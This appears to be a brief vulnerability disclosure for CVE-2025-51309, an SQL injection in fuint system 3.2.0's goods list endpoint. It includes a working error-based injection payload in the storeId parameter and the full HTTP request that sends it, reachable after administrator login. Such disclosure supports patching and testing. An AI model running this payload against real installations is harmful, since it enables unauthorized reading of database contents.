Fuint system SQL injection vulnerability.
Fuint system SQL injection
- The fuint system has a SQL injection vulnerability in the /fuint-application/backendApi/goods/goods/list interface.
POC:
page=0&pageSize=1&name=hai&status=B&storeId=7+AND+updatexml('1',concat('~',(select+user())),'1')
- The interface can be accessed once the administrator has logged in.
Affected versions
- 3.2.0
Vulnerability location:
Vulnerability Exploitation Demonstration:
Network packet:
- Request
1 | GET /fuint-application/backendApi/goods/goods/list?page=0&pageSize=1&name=hai&status=B&storeId=7+AND+updatexml('1',concat('~',(select+user())),'1') HTTP/1.1 |
Links
CVE
- CVE-2025-51309